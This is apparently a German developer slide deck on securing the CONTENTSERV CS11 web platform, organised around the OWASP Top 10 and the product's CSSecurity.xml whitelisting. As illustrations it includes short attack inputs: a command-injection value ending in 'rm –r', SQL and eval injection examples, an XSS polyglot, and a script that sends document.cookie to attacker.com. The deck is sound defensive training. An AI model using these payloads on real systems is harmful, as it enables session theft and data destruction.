Sicherheit in CONTENTSERV ab CS11

Frank Ipfelkofer 24.11.2010

TOP 10 Sicherheitsrisiken (www.owasp.org)

A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards

Injection - Probleme

Eingabeparameter werden ungeprüft und nicht escaped übergeben:

Systemaufrufe:

Exec („ls“ . $_GET[„folderName“]); folderName=„/|rm –r“

PHP-Aufrufe:

Include($_GET[„file“]); &file=„/etc/...“

Eval($_GET[„phpCode“]);

Dateioperation:

FileXXX($GET[„file“]), Unlink($_GET[„file“]), ...

Datenbank SQL Injection:

‘SELECT * FROM WHERE ID = “‘.$id.’ “‘ id= 0“ OR 1=1 “

Injection - Absicherung

Alle Request-Parameter mittels CSSecurity.xml schützen

Dynamische Parameter vermeiden und auf jeden Fall escapen:

’...AND ID = “ ‘.Database::quote($id)

Keine dynamischen Includes (wenn dann unbedingt geschützt)

Wenn möglich keinen dynamischen PHP-Code ausführen.

CSSecurity::evalCommand($phpCode, $context = array()) verwenden (könnte zentral abgesichert werden – ist aber kein 100% Schutz)

CSFileUtils nutzen für Dinge wie readfile, fopen, ...

Prozesse über CSSystemUtils::executeCommand ausführen

...

Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF)

Per Javascriptcode COOKIES auslesen bzw. Code ausführen, z.B. im Sessioncontext irgendwelche Aktionen ausführen.

<input name=‘foo‘ value='“ .$_GET[„foo“]."‘ />foo= '〉〈 script〉 document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie〈 /script〉

echo $_GET[‚title‘];

title = <script>alert(„attack“)</script>

Universelles Angriffspattern (http://ha.ckers.org/xssAttacks.xml):';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}

Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF) – Absicherung

Alle Ausgaben mit CS::htmlentities() verwandeln

echo CS::htmlentities($_GET[‚title‘]);

Dynamische Parameter mit HTML-Eingabe vermeiden

CSSecurity.xml nutzen

Schnellabsicherung:

CSSecurity.xml verwenden

Insecure Direct Object References Failure to Restrict URL Access

Rechteprüfung von Objekten ist nicht ausreichend.

Gib mir alle Objekte oder zeige Objekt XYZ an.

showProduct&ProductID=2showProduct=5

Ob Seiten aufgerufen werden dürfen wird nur an der Stelle überprüft, an dem Links erstellt werden. Wenn dieser Link bekannt ist, kann man auch ohne das Recht die Seite sehen, z.B. früher beim Rolleneditor

Insecure Direct Object References Failure to Restrict URL Access

Objektrechteprüfung sollten bewusst bedacht werden - ist z.B. in der Standard-API bei Massenanfragen wie getChildren und search schon der Fall – aber nicht bei Einzelabfragen CSPdm::getProduct().

Seiten, die sensible Daten beinhalten oder ändern können, sollten direkt zu Beginn überprüfen, ob ein Benutzer das Recht hat, auf diese zuzugreifen.

CSSecurity.xml mit <Rights> verwenden

Unvalidated Redirects and Forwards

Seiten könnten geschützt sein, z.B. durch CSSecurity.xml, ZBV, ...

Wenn man diese jedoch direkt inkludiert, (bzw. über redirects aufruft) kann diese Sicherung umgangen werden

Include(„.../popups/“.$_GET[„file“]);

Unvalidated Redirects and Forwards - Absicherung

s. Injection: keine oder nur abgesicherte dynamische Includes oder redirects verwenden

Absicherung mit der CSSecurity.xml

CSSecurity.xml – Dateien können an allen Stellen eingebunden werden, die:

direkt über &forward= inkludiert werden

ein Template einer Story im CMS sind

Entweder platziert man eine Absicherung direkt neben der Datei oder in einem Überordner

Beispiel einer CSSecurity.xml<?xml version="1.0" encoding="UTF-8" standalone="no"?>

<Security>

<Security>

<Includes>

<Path>gui/dialogs/RenameFile.php</Path>

</Includes>

<Variables refid='#editor' />

<Variables>

<Int name="record“ />

</Variables>

<Rights>

<Right module="mam" right="movevolume:*" />

</Rights>

</Security>

<Security> ... </Security>

</Security>

Aufbau der CSSecurity.xml

Security ist das Root-Element und kann beliebig verschachtelt werden, wenn z.B. Variablen oder Rechte in einem Ordner definiert sind, gelten sie für alle Unterordner.

Includes enthält die Pfade aller erlaubten Dateien (relativ zu der CSSecurity.xml – Datei)

Variables definiert alle erlaubten Variablen

Rights definiert welche Rechte ein Benutzer haben muss, damit er die definierten Pfade verwenden darf.

Includes und Path Elemente

Path enthält die Pfade zu den Dateien, die mit forward oder in einem CMS-Template eingebunden werden dürfen.

Pfade sind relativ zu der CSSecurity.xml

Der Platzhalter * darf verwendet werden, sollte aber vermieden werden, da damit wieder unerlaubte Zugriffe ermöglicht werden könnten.

Variables - Elemente

Variables definiert, welche Variablen durchgelassen werden. Alle Variablen, die dort nicht erlaubt sind, werden aus allen REQUEST-Variablen entfernt.

<Html type=„post“ pattern="/[a-z0-9\:]/i" name="*Filter|Filter_*|Test" />

Das Attribut name definiert den Namen von erlaubten Attributen:

Mehrere können durch | getrennt werden

Platzhalter * ist erlaubt (aber auch hier mit Vorsicht genießen)

Reguläre Ausdrücke möglich (Beginnt mit „/“): name="/^Text[0-9]+$/"

Mit type kann man die Variable auf get oder post beschränken

Mit pattern kann man einen regulären Ausdruck angeben, auf den die Variable zutreffen muss

Unterelemente von Variables

<Int name="treeRecordId" /> <Double name="treeRecordId" />konvertiert den Wert in eine Zahl oder entfernt die Variable

<String name=“foo"/> erlaubt nur unkritischen Text, d.h. keine Größer-/Keinerzeichen oder Anführungszeichen

<Boolean name="listOnlyFolder" />überprüft, ob ein Boolean ist („true“, „1“, „on“, „0“, ...) und gibt diesen Wert zurück – ansonsten wird die Variable entfernt

<Remove name=“hackVariable" /> entfernt die Variable immer

<Text name=“title"/> jagt den übergebenen Text immer, durch CS::htmlentitites, so dass hiermit z.B. Titel an Dialoge übergeben werden könnten, die direkt ausgegeben werden.

<Html name=“html"/> erlaubt jegliche Eingabe. Ist somit ein möglicher Angriffspunkt. Lässt sich aber leider nicht überall umgehen (Inputs, die HTML enthalten können)

Unterelemente von Variables - Teil 2

Dateinamen können über <File name=“Datei“ /> geschützt werden

Mit <File subfolder=“true“ name=“Pfad“/> werden relative Pfade erlaubt, die nur in Unterverzeichnisse oder ../{PROJEKT} oder ../admin zeigen dürfen. (Keine führenden Slashes, Doppelpunkte, “../“, etc.

Eine bestimmte Anzahl von Werten kann in Listen definiert werden:<List name=“foo“>

<Value>bar</Value><Value>bar2</Value >

</List>

Unterelemente von Variables - beste Sicherheit

<SimpleSecured name=“uwaURL" />erlaubt nur Variablen die geschützt sind mittels: ‘&'.CSSecurityUtils::getSecuredURLParameter('uwaUrl', $uwaURL) &uwaUrl=portal%2FCSStudioWidget.php&d18=a3

<Secured name=“uwaURL" /> erlaubt die Variable nur, wenn alle aus in einer komplett geschützten URL unverändert vorhanden sind:CSSecurityUtils::getSecuredURL('forward.php?foo1=bar&foo2=bar‘)Weitere nicht geschützte dürften hinten hinzugefügt werden.

Formulare können bei Erstellung mit einer CSGuiForm geschützt werden.

Vordefinierte Variablen

Mit <Variables refid='#XXX' /> können schon einmal definierte Variablen wiederverwendet werden.

XXX zeigt auf einen globale ID:<Variables refid='#list' /><Variables refid='#editor' /><Variables refid='#tree' />

XXX zeigt auf eine mit <Variables id=„XXX“> definierte Definition innerhalb derselben Datei

XXX zeigt auf eine mit <Variables refid=„XXX“> definierte Definition innerhalb einer anderen Datei refid=“modules/pdm/CSSecurity.xml#foo“

Beispiel: admin/dialogs/CSSecurity.xml

<Security>

<Includes>

<Path>RecordInputDialog.php</Path>

<Path>RecordInputDialog.php</Path>

</Includes>

<Variables refid="DataInputDialog" />

<Variables>

<Text name="title" />

</Variables>

</Security>

<Security>

...

<Variables id="DataInputDialog">

<Int name='RecordID' />

<String name='ItemType|class' />

</Variables>

</Security>

...

Absicherung von JSON-Strings

Auch JSON-Objekte können abgesichert werden:

JSON beginnt dabei die Variable und wird beim Fehler komplett entfernt.

Object definiert ein Objekt

Arrays brauchen in ihren Elementen kein name Attribute

{ID:0, Dateien:[{ID:2, Pfad=„volumes/datei.txt“, Dateien:[{...}] }] }<JSON name=“Input“> <Object id=“Datei“> <Int name=“ID" />     <File name=“Pfad" subfolder=“true"/> <Array name=“Dateien“> <Object refid=“Datei“ /> </Array>  </Object></JSON>

Rechtevergabe

Mit <Rights> kann man Rechte definieren, die erfüllt sein müssen, damit ein Benutzer den Include sehen darf (Failure to Restrict URL Access)

Darin kann man zwei Arten von Rechten definieren:

<Rights>

<Right module="user" right="installation“/>

<PhpRight> if (!($record = CS::getRecord(getStringVariable('Class')))

return „no record!“;

</PhpRight>

</Rights>

Unterelemente von Variables - mit Rechten

Auch einzelne Variablen können mit Rechten abgesichert werden

<Html type="post" name='soapUrl' isSecured='true'>

<Rights><Right module="user" right="administrateoptions" /></Rights>

</Html>

Prinzipielle Sicherheitsüberlegungen

Wenn man Absicherungen erstellt, sollte man versuchen Whitelisten zu verwenden und keine Blacklisten, da man leicht irgendwas übersieht:

Beispiel: /ˆ[a-zA-Z0-9_]*$/ und nicht /ˆ[ˆ<>]*$/‘

Wenn möglich sollte man Daten über POST übertragen, da diese ein wenig sicherer sind.

Upload von Dateien nur in Ordner (oder Volumes), die gegen direkten Zugriff geschützt sind (z.B. mit .htaccess), so dass man dort keine Skripte ausführen darf.

Prinzipielle Sicherheitsüberlegungen – Teil 2

Alle Einstiegspunkte (außerhalb den definierten) sind über .htaccess unterbunden worden (im admin und im Projekt), d.h. alle PHP-Dateien außer index.php im Projekt sind verboten und werden immer über die index.php angesprochen werden.

Anfragen auf folgende Dateiendungen werden durchgelassen:css|js|gif|jpg|png|swf|htm|txt

Folgende PHP-Dateien sind Sicherheitsgeprüft und dürfen direkt aufgerufen werden (der Rest nur über abgesicherte Includes):

blank.editor.php | loading.php | FileServer.php | forward.php | ImageServer.php | index.php | login.php | install.php | internalforward.php | loading.php | ping.php | portal.phpcore/extensions/skin/CSSkinImage.php | classes/utils/CSAjaxAction.php

Wie (de-)aktiviert man die Sicherheit

In admin.local/conf eine Datei Security.ini anlegen:

debug_security_warnings = on (Produktiv: off)

use_security_xml = on

check_security_path = ignore (Produktiv: on)

check_security_variables = exception (oder Produktiv: remove)

check_security_rights = full

In CS11.1 ist ein Editor dafür geplant.

Hilfsskript:

admin/forward.php?forward=core/extensions/security/CSSecurityCreator.php

analysiert die Debugdatei (data/logs/debug/requests.csv) und gibt alle darin enthaltenen Includes und Variablen als XML aus.

Beispiel der CSSecurityCreator.php Ausgabe

Zusammenfassung

Optimal wäre es alle URLs mit CSSecurity::getSecurityURL() zu schützen und mit <Secured name=„*“ /> überprüfen. Ist aber teilweise aufwendiger und geht nicht für dynamische Variablen

Formulare mit der CSGuiForm aufbauen

Ansonsten für alle Templates, forward-URLs und Projektmodule alle erlaubten Variablen mit CSSecurity.xml versehen

Alles andere über .htaccess schützen

Zentrale Methoden verwenden:

CSSecurityUtil::evalCommand

CSystemUtils::executeCommand

CSFileUtils::readFile, CSFileUtils: ...